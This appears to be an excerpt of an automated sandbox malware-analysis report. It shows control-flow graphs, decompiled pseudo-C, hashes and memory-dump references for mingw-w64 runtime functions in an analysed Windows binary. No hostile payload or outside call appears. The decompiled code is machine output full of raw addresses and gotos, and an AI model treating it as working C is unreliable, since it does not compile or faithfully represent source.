                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 544 7ff7d2534b60-7ff7d2534bec call 7ff7d253ac60 call 7ff7d253b0d0 call 7ff7d253ac60 call 7ff7d253b120 call 7ff7d253b098 556 7ff7d2534bf2-7ff7d2534bff 544->556 557 7ff7d2534d60-7ff7d2534d62 544->557 558 7ff7d2534c00-7ff7d2534c06 556->558 559 7ff7d2534c08-7ff7d2534c16 558->559 560 7ff7d2534c1c-7ff7d2534c25 558->560 559->560 561 7ff7d2534ca5-7ff7d2534ca8 559->561 560->558 562 7ff7d2534c27-7ff7d2534c35 call 7ff7d2535a70 560->562 563 7ff7d2534caa-7ff7d2534cad 561->563 564 7ff7d2534cd1-7ff7d2534ce3 561->564 571 7ff7d2534c3b-7ff7d2534c84 call 7ff7d2535bb0 VirtualQuery 562->571 572 7ff7d2534db2-7ff7d2534df0 call 7ff7d2534b60 562->572 567 7ff7d2534d70-7ff7d2534d7f 563->567 568 7ff7d2534cb3-7ff7d2534cb5 563->568 569 7ff7d2534ce5-7ff7d2534ce8 564->569 570 7ff7d2534cc6-7ff7d2534cd0 564->570 567->570 568->570 573 7ff7d2534cb7-7ff7d2534cc0 568->573 574 7ff7d2534cea-7ff7d2534cfa 569->574 581 7ff7d2534c8a-7ff7d2534c94 571->581 582 7ff7d2534d95-7ff7d2534dad call 7ff7d2534b60 571->582 587 7ff7d2534df2-7ff7d2534e02 572->587 588 7ff7d2534e03-7ff7d2534e5a call 7ff7d2535af0 call 7ff7d2535d30 572->588 573->570 577 7ff7d2534d84-7ff7d2534d90 573->577 574->574 578 7ff7d2534cfc-7ff7d2534d06 574->578 577->570 584 7ff7d2534c9e 581->584 585 7ff7d2534c96-7ff7d2534c9c 581->585 582->572 584->561 585->584 589 7ff7d2534d10-7ff7d2534d46 VirtualProtect 585->589 588->587 596 7ff7d2534e5c-7ff7d2534e62 588->596 589->584 591 7ff7d2534d4c-7ff7d2534d5b GetLastError call 7ff7d2534b60 589->591 591->557 597 7ff7d2534e68-7ff7d2534e6a 596->597 598 7ff7d2534fa3-7ff7d2534fa5 596->598 599 7ff7d25350b2-7ff7d25350b5 597->599 600 7ff7d2534e70 597->600 598->599 601 7ff7d2534fab-7ff7d2534fb3 598->601 599->587 602 7ff7d25350bb-7ff7d25350d6 599->602 603 7ff7d2534e73-7ff7d2534e75 600->603 601->603 604 7ff7d2534fb9-7ff7d2534fbc 601->604 605 7ff7d25350e0-7ff7d2535103 call 7ff7d2534bd0 602->605 603->599 606 7ff7d2534e7b-7ff7d2534e81 603->606 610 7ff7d2534fc5-7ff7d2534fc8 604->610 619 7ff7d2535105 605->619 608 7ff7d2534e87-7ff7d2534e99 606->608 609 7ff7d2535132-7ff7d253514e call 7ff7d2534b60 606->609 614 7ff7d2534eeb-7ff7d2534f05 608->614 615 7ff7d2534e9b 608->615 629 7ff7d253517c-7ff7d2535180 609->629 630 7ff7d2535150-7ff7d253517b 609->630 611 7ff7d253510a-7ff7d2535119 call 7ff7d2534b60 610->611 612 7ff7d2534fce-7ff7d2534ff3 610->612 625 7ff7d253511e-7ff7d253512d call 7ff7d2534b60 611->625 617 7ff7d2535010-7ff7d2535020 612->617 618 7ff7d2534ff5-7ff7d2535006 call 7ff7d2534bd0 612->618 621 7ff7d2534f0b 614->621 622 7ff7d2535070-7ff7d2535096 614->622 615->587 617->625 626 7ff7d2535026-7ff7d2535034 617->626 640 7ff7d2534ee2-7ff7d2534ee9 618->640 619->611 621->610 628 7ff7d2534f11-7ff7d2534f14 621->628 622->617 627 7ff7d253509c-7ff7d25350ad call 7ff7d2534bd0 622->627 625->609 626->625 634 7ff7d253503a-7ff7d253503d 626->634 631 7ff7d2534ea0-7ff7d2534ecb 628->631 632 7ff7d2534f16-7ff7d2534f19 628->632 630->629 631->617 642 7ff7d2534ed1-7ff7d2534edd call 7ff7d2534bd0 631->642 632->611 638 7ff7d2534f1f-7ff7d2534f33 632->638 634->627 641 7ff7d253503f 634->641 638->617 643 7ff7d2534f39-7ff7d2534f51 call 7ff7d2534bd0 638->643 640->614 647 7ff7d2534f53-7ff7d2534f5b 640->647 644 7ff7d2535041-7ff7d2535044 641->644 645 7ff7d2535060-7ff7d2535063 641->645 642->640 643->614 643->647 644->642 650 7ff7d253504a-7ff7d253504d 644->650 645->640 651 7ff7d2535069 645->651 647->587 649 7ff7d2534f61-7ff7d2534f6e 647->649 653 7ff7d2534f70-7ff7d2534f80 649->653 650->640 654 7ff7d2535053 650->654 651->618 655 7ff7d2534f82-7ff7d2534f8d VirtualProtect 653->655 656 7ff7d2534f8f-7ff7d2534f9c 653->656 654->643 655->656 656->653 657 7ff7d2534f9e 656->657 657->587
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 53%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2534B60(signed char __ebx, void* __esi, void* __rcx, long long __rdx, long long __r8, long long __r9, long long _a16, long long _a24, long long _a32) {
				signed int* _v32;
				void* _v124;
				void* _v160;
				void* _t22;
				void* _t23;
				signed int _t29;
				signed char _t30;
				intOrPtr _t47;
				signed int* _t52;
				intOrPtr* _t54;
				long long _t55;
				intOrPtr* _t57;
				intOrPtr _t58;
				void* _t59;
				signed int* _t65;
				signed int* _t66;
				intOrPtr _t70;
				long _t73;
				signed int* _t74;
				void* _t76;
				struct _MEMORY_BASIC_INFORMATION* _t77;
				signed long long _t80;
				signed char* _t83;
				intOrPtr _t91;

				_t30 = __ebx;
				_t52 =  &_a16;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_v32 = _t52;
				_t23 = E00007FF77FF7D253AC60(_t22, 2, _t52, __rcx);
				r8d = 0x1b;
				0xd253b0d0(_t59, _t76);
				_t77 = _v32;
				E00007FF77FF7D253AC60(_t23, 2, _t52, "Mingw-w64 runtime failure:\n");
				_t65 = _t52;
				0xd253b120();
				0xd253b098();
				_t74 = _t65;
				_t83 = __rcx;
				if (__esi <= 0) goto 0xd2534d60;
				_t54 =  *0xd272c0a8 + 0x18;
				_t70 =  *_t54;
				if (_t74 - _t70 < 0) goto 0xd2534c1c;
				_t91 =  *((intOrPtr*)(_t54 + 8));
				r8d =  *((intOrPtr*)(_t91 + 8));
				if (_t74 - _t70 + _t91 < 0) goto 0xd2534ca5;
				_t55 = _t54 + 0x28;
				if (1 != __esi) goto 0xd2534c00;
				_t66 = _t74;
				E00007FF77FF7D2535A70(_t66);
				if (_t55 == 0) goto 0xd2534db2;
				_t80 =  *0xd272c0a4 +  *0xd272c0a4 * 4 << 3;
				_t57 =  *0xd272c0a8 + _t80;
				 *((long long*)(_t57 + 0x20)) = _t55;
				 *_t57 = 0;
				E00007FF77FF7D2535BB0(_t70 + _t91);
				r8d = 0x30;
				_t58 =  *0xd272c0a8;
				 *((long long*)(_t58 + _t80 + 0x18)) = _t66 + _t57;
				VirtualQuery(__rcx, _t77, _t73);
				_t47 = _t58;
				if (_t47 == 0) goto 0xd2534d95;
				if (_t47 == 0) goto 0xd2534c9e;
				if (_t47 != 0) goto 0xd2534d10;
				 *0xd272c0a4 =  *0xd272c0a4 + 1;
				if (_t30 - 8 >= 0) goto 0xd2534cd1;
				if ((_t30 & 0x00000004) != 0) goto 0xd2534d70;
				if (_t30 == 0) goto 0xd2534cc6;
				_t29 =  *_t83 & 0x000000ff;
				 *_t74 = _t29;
				if ((_t30 & 0x00000002) != 0) goto 0xd2534d84;
				return _t29;
			}



























                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b60
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b66
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b73
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b78
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b7d
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b82
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b87
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534b8c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534ba1
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534ba6
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534bb0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534bb8
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534bbe
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534bc3
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534be3
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534be6
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534bec
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534bfb
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c00
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c06
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c08
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c0c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c16
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c1f
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c25
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c27
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c2a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c35
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c46
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c4a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c4d
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c51
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c57
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c66
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c6f
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c76
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c7b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c81
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c84
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c94
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c9c
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534c9e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534ca8
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534cad
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534cb5
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534cb7
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534cbe
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534cc0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2534cd0

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: QueryVirtual
                                                                                                                                                                                                                                                                                                                                                      • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1804819252-1534286854
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2dd9949e5649fcb44d8a5ea70c8a2c5356418f25097bfb29c8b3ca6efe244e54
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8f6c1587fd9aea77e77b7c583b32e48bb9897cd781ed465170b85083b95c5c74
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2dd9949e5649fcb44d8a5ea70c8a2c5356418f25097bfb29c8b3ca6efe244e54
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9B619272B0965A86EB20AF11E840ABDA7A0EF59790FC45176DF4E47394DF7CE446C320
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2536220 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 111COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 85%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D2536220(void* __edx, void* __rax, void* __rcx, void* __r8) {
				signed int _v72;
				char _v80;
				intOrPtr _t27;
				intOrPtr _t38;
				void* _t46;
				void* _t50;
				void* _t51;
				char* _t60;

				_t50 = __rax;
				_t38 =  *((intOrPtr*)(__r8 + 0x10));
				_t51 = __r8;
				if (_t38 - __edx >= 0) goto 0xd2536345;
				if (_t38 < 0) goto 0xd2536345;
				r8d =  *((intOrPtr*)(__r8 + 0xc));
				if (( *(__r8 + 8) & 0x00006000) == 0x6000) goto 0xd2536350;
				if (_t38 - r8d < 0) goto 0xd25362e0;
				 *((intOrPtr*)(__r8 + 0xc)) = 0xffffffff;
				if (_t38 > 0) goto 0xd253629b;
				goto 0xd253632d;
				_t60 = __rcx + __rax;
				E00007FF77FF7D25361C0(_v72 & 0xffff, __r8);
				if (_t38 == 0) goto 0xd253632d;
				_v80 = 0;
				strlen(??);
				E00007FF77FF7D253AE40( &_v72, _t60, _t50,  &_v80);
				_t46 = _t50;
				if (_t46 == 0) goto 0xd253632d;
				if (_t46 >= 0) goto 0xd2536280;
				_v72 =  *_t60;
				goto 0xd2536285;
				asm("o16 nop [cs:eax+eax]");
				r8d = r8d - _t38 - 1;
				 *((intOrPtr*)(_t51 + 0xc)) = r8d;
				if (0 != 0) goto 0xd253626b;
				r8d = r8d - 1;
				 *((intOrPtr*)(_t51 + 0xc)) = r8d;
				E00007FF77FF7D25361C0(0x20, _t51);
				 *((intOrPtr*)(_t51 + 0xc)) = _t50 - 1;
				if ( *((intOrPtr*)(_t51 + 0xc)) != 0) goto 0xd2536300;
				goto 0xd253626b;
				E00007FF77FF7D25361C0(0x20, _t51);
				_t27 =  *((intOrPtr*)(_t51 + 0xc));
				 *((intOrPtr*)(_t51 + 0xc)) = _t50 - 1;
				if (_t27 > 0) goto 0xd2536320;
				return _t27;
			}











                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536220
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253622a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536233
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536236
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253623e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536247
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536259
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536262
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536264
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536277
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536279
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253628b
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253628e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536295
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253629e
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362a9
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362ba
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362bf
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362c2
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362c4
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362cf
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362d4
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362d6
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362e0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362e6
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362ea
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362f0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25362f4
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536308
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536315
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536318
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253631a
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536328
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253632d
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536335
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536338
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536344

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: fwprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %*.*S$%-*.*S$%.*S
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 968622242-2115465065
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 05d9ed4c2a822d4308c25cb0911229a11c904e1211cc12967efc77b11813ddad
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 55cd70e91c608700b8499dc2a2fbc3a7eea45e094bcb8114dd59549bb86a13a9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 05d9ed4c2a822d4308c25cb0911229a11c904e1211cc12967efc77b11813ddad
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 04411873A1C24645F750AE25D400B7DE691EF80BA4FD8917AEE1E476C5DEBCE402C724
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D2535650 Relevance: 12.1, APIs: 8, Instructions: 61COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Value$CriticalDeleteSectionfree
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2588641659-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: f6c2d0e71c51989a3ceb257771279362d4573d9bfece44fbb9d2e022c2e538d2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 29efccfbf355bd53e4640b56440a32c57b67b646696e06405e7cc853cb0edea6
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f6c2d0e71c51989a3ceb257771279362d4573d9bfece44fbb9d2e022c2e538d2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4731A274E1D90786EA30AF20E84457DA3A1EF6E760FD42077C60E462A1DEADB946C630
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D25358A0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000004.00000002.432313925.00007FF7D2531000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7D2530000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432303670.00007FF7D2530000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432493750.00007FF7D253C000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.432534429.00007FF7D253D000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436660541.00007FF7D2727000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436810294.00007FF7D2729000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436851867.00007FF7D272D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436925159.00007FF7D2730000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000004.00000002.436972118.00007FF7D2731000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_4_2_7ff7d2530000_1258033132.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Value$_assertcalloc
                                                                                                                                                                                                                                                                                                                                                      • String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3698345500-799109717
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c55b1861fecf337bd9471349f6ca4eb417d230dc9ae51b521eef5e0af49779e5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 1bb861dd5d1e87781644d3cb771fcc75410e4b50f90ad1d056123f375c1fbe8b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c55b1861fecf337bd9471349f6ca4eb417d230dc9ae51b521eef5e0af49779e5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8F016171B0D24685F624AB51F9406BDA290EF0D7A0FC96036CA0E47391EEBDE983C320
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF7D25364D0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 109COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF77FF7D25364D0(void* __edx, void* __rax, signed short* __rcx, void* __r8) {
				intOrPtr _t16;
				intOrPtr _t27;
				void* _t38;
				void* _t39;
				void* _t45;

				_t38 = __rax;
				_t27 =  *((intOrPtr*)(__r8 + 0x10));
				_t39 = __r8;
				if (_t27 - __edx >= 0) goto 0xd25365c0;
				if (_t27 < 0) goto 0xd25365c0;
				r8d =  *((intOrPtr*)(__r8 + 0xc));
				if (( *(__r8 + 8) & 0x00006000) == 0x6000) goto 0xd25365e5;
				_t4 = _t45 - 1; // 0x0
				if (r8d - _t27 > 0) goto 0xd2536583;
				 *((intOrPtr*)(__r8 + 0xc)) = 0xffffffff;
				if (_t27 <= 0) goto 0xd253663f;
				if (( *__rcx & 0x0000ffff) != 0) goto 0xd253653b;
				goto 0xd253656d;
				if (( *__rcx & 0x0000ffff) == 0) goto 0xd253656d;
				E00007FF77FF7D25361C0( *__rcx & 0x0000ffff, __r8);
				if (_t4 - 1 > 0) goto 0xd2536530;
				 *((intOrPtr*)(_t39 + 0xc)) = _t38 - 1;
				if ( *((intOrPtr*)(_t39 + 0xc)) <= 0) goto 0xd253657a;
				E00007FF77FF7D25361C0(0x20, _t39);
				_t16 =  *((intOrPtr*)(_t39 + 0xc));
				 *((intOrPtr*)(_t39 + 0xc)) = _t38 - 1;
				if (_t16 > 0) goto 0xd2536560;
				return _t16;
			}








                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25364d0
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25364d8
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25364e1
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25364e4
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25364ec
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d25364f5
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536507
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253650d
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536513
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d2536515
                                                                                                                                                                                                                                                                                                                                                      0x7ff7d253651e
